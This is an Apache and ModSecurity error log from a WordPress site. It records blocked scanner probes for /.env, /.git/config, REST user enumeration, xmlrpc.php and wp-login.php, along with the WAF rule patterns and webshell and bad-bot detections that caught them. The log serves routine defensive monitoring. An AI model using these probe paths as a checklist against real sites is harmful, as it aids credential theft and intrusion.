[Wed Mar 18 05:14:30.430128 2026] [autoindex:error] [pid 13676:tid 13685] [client 172.191.184.190:30859] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Mar 18 05:14:32.081324 2026] [autoindex:error] [pid 13676:tid 13682] [client 172.191.184.190:30859] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Mar 18 05:14:38.088999 2026] [autoindex:error] [pid 13676:tid 13701] [client 172.191.184.190:30859] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Mar 18 05:14:39.611697 2026] [:error] [pid 13676:tid 13678] [client 172.191.184.190:30859] [client 172.191.184.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "abnEP2xDEHR5lvAEVIjY4wAAAQA"]
[Wed Mar 18 05:14:46.681175 2026] [:error] [pid 44964:tid 44978] [client 172.191.184.190:34473] [client 172.191.184.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/fields/"] [unique_id "abnERsvMufm4ayzOOhBIwwAAAAA"]
[Wed Mar 18 05:14:49.056913 2026] [:error] [pid 13716:tid 13739] [client 172.191.184.190:34438] [client 172.191.184.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/fields/"] [unique_id "abnESWWKzQVHkZkUHaTcXAAAAVU"]
[Wed Mar 18 05:14:50.235596 2026] [:error] [pid 44965:tid 45015] [client 172.191.184.190:40871] [client 172.191.184.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/fields/"] [unique_id "abnESqNZys-oG-hM22h0wAAAAEU"]
[Wed Mar 18 05:14:53.307799 2026] [:error] [pid 13716:tid 13741] [client 172.191.184.190:31532] [client 172.191.184.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/fields/"] [unique_id "abnETWWKzQVHkZkUHaTcbgAAAVc"]
[Wed Mar 18 05:29:34.244782 2026] [:error] [pid 13716:tid 13733] [client 185.223.152.177:41023] [client 185.223.152.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.177, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abnHvmWKzQVHkZkUHaTnRgAAAU8"]
[Wed Mar 18 07:36:15.966787 2026] [:error] [pid 13716:tid 13736] [client 20.104.208.128:2267] [client 20.104.208.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "abnlb2WKzQVHkZkUHaQ7cwAAAVI"]
[Wed Mar 18 07:36:18.818807 2026] [:error] [pid 44965:tid 45010] [client 20.104.208.128:44746] [client 20.104.208.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "abnlcqNZys-oG-hM22iSOwAAAEA"]
[Wed Mar 18 07:36:25.151401 2026] [:error] [pid 44966:tid 45052] [client 20.104.208.128:2837] [client 20.104.208.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "abnlebHml2_01Zq4-13UygAAAI8"]
[Wed Mar 18 07:36:28.240048 2026] [:error] [pid 44966:tid 45048] [client 20.104.208.128:57865] [client 20.104.208.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "abnlfLHml2_01Zq4-13UywAAAIs"]
[Wed Mar 18 08:13:21.265384 2026] [:error] [pid 14861:tid 14866] [client 20.2.90.103:41548] [client 20.2.90.103] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "abnuISW0PeWaIC54JJbbgwAAAYA"]
[Wed Mar 18 08:25:32.101362 2026] [:error] [pid 13716:tid 13733] [client 20.115.5.235:36630] [client 20.115.5.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wk/index.php"] [unique_id "abnw_GWKzQVHkZkUHaRengAAAU8"]
[Wed Mar 18 08:25:33.981744 2026] [:error] [pid 13716:tid 13719] [client 20.115.5.235:36639] [client 20.115.5.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wk/index.php"] [unique_id "abnw_WWKzQVHkZkUHaReogAAAUE"]
[Wed Mar 18 08:25:35.091743 2026] [:error] [pid 44966:tid 45040] [client 20.115.5.235:32408] [client 20.115.5.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wk/index.php"] [unique_id "abnw_7Hml2_01Zq4-131DwAAAIM"]
[Wed Mar 18 08:25:39.039405 2026] [:error] [pid 44966:tid 45049] [client 20.115.5.235:19657] [client 20.115.5.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wk/index.php"] [unique_id "abnxA7Hml2_01Zq4-131IwAAAIw"]
[Wed Mar 18 10:17:51.884928 2026] [:error] [pid 43009:tid 43014] [client 162.62.132.25:43022] [client 162.62.132.25] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aboLT38aUp4Sm6m3nmOTWwAAAQM"]
[Wed Mar 18 14:17:28.378562 2026] [:error] [pid 53755:tid 53765] [client 49.36.235.61:58247] [client 49.36.235.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.235.61, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abpDeKqw5ZSRshmIhWmV-wAAAUg"]
[Wed Mar 18 14:20:31.669939 2026] [:error] [pid 31232:tid 31258] [client 49.36.235.61:60987] [client 49.36.235.61] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "abpEL2X6HV7dqh3BQD34WQAAAFc"]
[Wed Mar 18 14:22:05.703747 2026] [:error] [pid 42870:tid 42891] [client 49.36.235.61:62440] [client 49.36.235.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.235.61, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abpEjZ6axlAooiuYyUzUwAAAAAY"]
[Wed Mar 18 15:10:14.016249 2026] [:error] [pid 42871:tid 42919] [client 1.15.52.154:59578] [client 1.15.52.154] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abpP1mPUS0lM1M9nUaLaSwAAAIU"]
[Wed Mar 18 15:32:04.282300 2026] [:error] [pid 42871:tid 42927] [client 43.157.38.228:34482] [client 43.157.38.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "abpU9GPUS0lM1M9nUaLkXQAAAI0"]
[Wed Mar 18 19:01:02.866699 2026] [:error] [pid 53755:tid 53774] [client 135.181.180.59:14278] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "abqF7qqw5ZSRshmIhWn_WQAAAVE"]
[Wed Mar 18 19:01:06.798595 2026] [:error] [pid 31232:tid 31246] [client 135.181.180.59:20544] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "abqF8mX6HV7dqh3BQD3JmAAAAEs"]
[Wed Mar 18 20:09:17.277647 2026] [:error] [pid 42871:tid 42933] [client 43.133.69.37:35278] [client 43.133.69.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abqV7WPUS0lM1M9nUaJegQAAAJM"]
[Wed Mar 18 20:43:18.071416 2026] [:error] [pid 31232:tid 31256] [client 43.166.1.243:57442] [client 43.166.1.243] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "abqd5mX6HV7dqh3BQD357gAAAFU"]
[Wed Mar 18 21:31:26.633509 2026] [:error] [pid 53755:tid 53764] [client 20.120.18.145:36710] [client 20.120.18.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "abqpLqqw5ZSRshmIhWlW9AAAAUc"]
[Thu Mar 19 01:15:30.385534 2026] [:error] [pid 19208:tid 19357] [client 43.154.250.181:38388] [client 43.154.250.181] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abrdst4kPqt9Qws3poFUNQAAAI4"]
[Thu Mar 19 01:46:15.573108 2026] [:error] [pid 19224:tid 19391] [client 20.48.234.9:41807] [client 20.48.234.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "abrk5zxUIaHQ6Y3ff51hCQAAAdU"]
[Thu Mar 19 01:46:18.129990 2026] [:error] [pid 19196:tid 19340] [client 20.48.234.9:41848] [client 20.48.234.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "abrk6rQmdacT_YxarWRXHwAAABg"]
[Thu Mar 19 01:46:19.764010 2026] [:error] [pid 19431:tid 19485] [client 20.48.234.9:41535] [client 20.48.234.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "abrk6zioVgnJ_ZdBjct_xQAAAEA"]
[Thu Mar 19 01:46:22.376595 2026] [:error] [pid 19431:tid 19501] [client 20.48.234.9:41826] [client 20.48.234.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "abrk7jioVgnJ_ZdBjct_zAAAAFA"]
[Thu Mar 19 04:11:44.636989 2026] [:error] [pid 23883:tid 23942] [client 37.140.223.237:27227] [client 37.140.223.237] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.237, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "absHANNi-EnEAH4abz1X0gAAAE0"]
[Thu Mar 19 04:32:35.330378 2026] [:error] [pid 23882:tid 23915] [client 49.7.227.204:38224] [client 49.7.227.204] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "absL47WnClbtbN12M7_wyAAAAA0"]
[Thu Mar 19 05:01:05.941498 2026] [:error] [pid 3278:tid 3282] [client 136.107.65.76:41770] [client 136.107.65.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.git/config"] [unique_id "absSkQC2T_lM6ZgvfcT2sAAAAQE"]
[Thu Mar 19 05:17:04.237524 2026] [:error] [pid 23988:tid 24005] [client 201.247.171.155:11685] [client 201.247.171.155] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.247.171.155, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "absWUGnlkSPXj2matr34TgAAAM4"]
[Thu Mar 19 05:17:07.027406 2026] [:error] [pid 23882:tid 23920] [client 150.228.113.77:9942] [client 150.228.113.77] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.228.113.77, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "absWU7WnClbtbN12M7_67QAAABI"]
[Thu Mar 19 06:31:08.891428 2026] [:error] [pid 31310:tid 31343] [client 31.171.130.12:54719] [client 31.171.130.12] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.12, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "absnrAcgEEVQQ6TeokM6_AAAAYo"]
[Thu Mar 19 06:38:20.294601 2026] [:error] [pid 31447:tid 31479] [client 201.247.171.155:4937] [client 201.247.171.155] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "abspXBmVNRDSLnGvghg5DQAAAhg"]
[Thu Mar 19 06:39:36.110281 2026] [:error] [pid 32226:tid 32228] [client 201.247.171.155:4991] [client 201.247.171.155] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.247.171.155, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abspqLBb58lgPwqxC6pfGQAAAwA"]
[Thu Mar 19 06:40:48.188899 2026] [:error] [pid 31447:tid 31462] [client 201.247.171.155:5708] [client 201.247.171.155] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.247.171.155, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "absp8BmVNRDSLnGvghg59QAAAgc"]
[Thu Mar 19 06:42:00.980686 2026] [:error] [pid 31735:tid 31741] [client 201.247.171.155:4971] [client 201.247.171.155] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.247.171.155, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "absqOH-gyQbRQWJYccwoJAAAAoI"]
[Thu Mar 19 07:18:27.591961 2026] [:error] [pid 31313:tid 31363] [client 43.159.145.153:47444] [client 43.159.145.153] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "absyww9HuAbqf2tZOycAfQAAAcI"]
[Thu Mar 19 07:52:09.746710 2026] [:error] [pid 32226:tid 32239] [client 91.99.189.61:36250] [client 91.99.189.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abs6qbBb58lgPwqxC6qK3QAAAws"]
[Thu Mar 19 07:53:38.615697 2026] [:error] [pid 23884:tid 23978] [client 43.135.138.128:33266] [client 43.135.138.128] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "abs7Al6St-VCdOYnZMoEjAAAAJY"]
[Thu Mar 19 08:21:01.312358 2026] [:error] [pid 31205:tid 31225] [client 31.171.130.39:60165] [client 31.171.130.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.39, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abtBbVu5gZKGrGz5P1EmewAAAUg"]
[Thu Mar 19 08:22:58.371387 2026] [:error] [pid 23884:tid 23956] [client 62.163.82.39:59243] [client 62.163.82.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.163.82.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abtB4l6St-VCdOYnZMoJPwAAAIA"]
[Thu Mar 19 08:32:07.524205 2026] [:error] [pid 31447:tid 31473] [client 31.171.130.5:58261] [client 31.171.130.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.5, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abtEBxmVNRDSLnGvghhcQAAAAhI"]
[Thu Mar 19 09:16:47.738849 2026] [:error] [pid 32226:tid 32247] [client 91.99.183.151:34022] [client 91.99.183.151] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abtOf7Bb58lgPwqxC6qxWQAAAxM"]
[Thu Mar 19 10:01:31.458965 2026] [autoindex:error] [pid 24971:tid 24996] [client 209.87.169.227:35665] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
